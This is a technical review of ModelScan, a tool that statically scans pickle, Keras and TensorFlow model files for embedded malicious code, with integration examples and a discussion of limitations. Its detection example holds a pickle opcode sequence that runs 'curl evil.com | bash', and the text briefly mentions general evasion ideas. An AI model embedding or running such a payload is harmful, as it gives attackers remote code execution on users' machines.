ModelScan: Detecting Malicious Code in ML Models Before It Executes

Hook

A pickle file from Hugging Face can execute arbitrary code the moment you load it. No warnings, no sandboxing—just instant remote code execution. This isn't theoretical: researchers have demonstrated weaponized models that deploy backdoors during deserialization.

Context

Machine learning has an invisible supply chain problem. Data scientists routinely download pre-trained models from public repositories, colleagues share checkpoints via Slack, and CI/CD pipelines automatically pull the latest weights from model registries. Every single one of these transfers is a potential attack vector.

The core issue lies in how ML frameworks serialize models. Python's pickle format—used by PyTorch, scikit-learn, and countless other libraries—isn't a data format. It's a bytecode instruction set that can instantiate arbitrary objects and execute code during deserialization. TensorFlow's SavedModel format uses Protocol Buffers with Lambda layers that can wrap executable functions. Keras H5 files can contain custom loss functions with embedded exploits. The ML community optimized for flexibility and convenience, not security. ModelScan emerged from Protect AI's security research team as the first open-source tool to scan these serialized artifacts for known attack patterns without ever loading them into an ML runtime.

Technical Insight

ModelScan's architecture centers on format-specific static analysis engines that parse serialized model files as raw byte streams. When you run a scan, it never imports PyTorch, TensorFlow, or any ML framework—eliminating the code execution risk entirely.

The tool's design follows a multi-stage pipeline. First, a format detector examines file headers and structure to identify the serialization method. Then it dispatches to specialized scanners: PickleScanFlow for PyTorch and scikit-learn models, KerasScanFlow for H5 files, TensorFlowScanFlow for SavedModel and Protocol Buffer formats. Each scanner implements knowledge of dangerous opcodes and patterns specific to that serialization format.

Here's how you'd integrate ModelScan into a model download workflow:

from modelscan.scanner import ModelScan
from pathlib import Path

def safe_load_model(model_path: str):
    scanner = ModelScan()
    results = scanner.scan(Path(model_path))
    
    # Check for critical or high-severity issues
    critical_issues = [
        issue for issue in results.issues.all_issues
        if issue.severity in ['CRITICAL', 'HIGH']
    ]
    
    if critical_issues:
        for issue in critical_issues:
            print(f"{issue.severity}: {issue.description}")
            print(f"Location: {issue.code}")
        raise SecurityError(f"Model contains {len(critical_issues)} security issues")
    
    # Only load the model after validation
    import torch
    return torch.load(model_path)

# Usage in CI/CD pipeline
try:
    model = safe_load_model('downloaded_model.pkl')
except SecurityError as e:
    # Alert security team, block deployment
    notify_security_team(str(e))
    exit(1)

The Pickle scanner specifically looks for dangerous opcodes in the pickle bytecode stream. Pickle files are essentially programs written in a stack-based virtual machine language. Opcodes like REDUCE, BUILD, and GLOBAL can instantiate arbitrary classes and call functions. ModelScan's PickleScanFlow scans for patterns that indicate code execution:

# What ModelScan detects in pickle bytecode
# Dangerous pattern: Using GLOBAL to import subprocess then REDUCE to call it
GLOBAL 'subprocess' 'Popen'  # Imports subprocess.Popen
MARK
    UNICODE '/bin/bash'      # Argument 1
    UNICODE '-c'             # Argument 2  
    UNICODE 'curl evil.com | bash'  # Argument 3
TUPLE
REDUCE  # Calls Popen with those arguments

For TensorFlow models, the scanner parses SavedModel directories and examines the Protocol Buffer structures for suspicious Lambda layers or custom operations. It checks for serialized functions that reference file system operations, network calls, or subprocess execution—operations that have no legitimate place in inference code.

The risk ranking system assigns severity based on exploit primitives. CRITICAL severity means arbitrary code execution is immediately achievable (like direct subprocess calls). HIGH severity indicates dangerous operations that could be chained into exploits (file writes, dynamic imports). MEDIUM and LOW cover suspicious patterns that warrant investigation but may have legitimate uses.

You can also use ModelScan as a CLI tool in pre-commit hooks or CI pipelines:

# Scan a single model file
modelscan scan model.pkl

# Scan entire directory, output JSON for automated processing
modelscan scan models/ --output-format json > scan_results.json

# Set severity threshold for exit codes
modelscan scan model.h5 --threshold HIGH  # Exits non-zero if HIGH+ found

The JSON output integrates cleanly with security dashboards and SIEM systems, providing structured data about detected threats, file locations, and severity classifications. This makes ModelScan practical for enterprise environments that need audit trails and compliance reporting around AI asset security.

Gotcha

Static analysis has fundamental limitations when applied to serialization formats designed for Turing-complete code execution. ModelScan operates on pattern matching—it knows what common exploits look like but cannot reason about novel attack vectors or sophisticated obfuscation.

A determined attacker could encode malicious operations using opcodes in unexpected sequences, split dangerous strings across multiple pickle frames, or leverage format-specific edge cases that haven't been documented. The tool will catch script kiddies copying proof-of-concept exploits from GitHub, but nation-state level adversaries working on zero-days will likely evade detection. False positives are also inevitable: legitimate models sometimes embed preprocessing code, custom layers with unusual imports, or reproducibility metadata that triggers warnings. Teams need clear policies about what constitutes acceptable embedded code versus actual threats—ModelScan gives you visibility but can't make that judgment call automatically.

Performance isn't a limitation for most use cases (scanning happens at disk I/O speeds), but the format support matrix matters. New serialization formats emerge regularly in the ML ecosystem. ONNX models, JAX checkpoints, and custom serialization schemes might not be covered. You're dependent on the Protect AI team and community to maintain scanners for new formats as they gain adoption.

Verdict

Use ModelScan if you're consuming models from external sources—public repositories, vendor partnerships, open-source communities, or even internal teams in large organizations where trust boundaries matter. It's essential infrastructure for any production ML system with compliance requirements, especially in healthcare, finance, or government sectors where model provenance must be auditable. The CLI integration makes it trivial to add to CI/CD with minimal overhead. Skip ModelScan only if you operate in a hermetically sealed environment where every model is trained on controlled infrastructure by vetted personnel, you already have comprehensive runtime sandboxing that makes code execution consequences negligible, or you're in pure research contexts where security isn't part of the threat model. Even then, the tool adds maybe seconds to your workflow—there's little reason not to run it as defense-in-depth.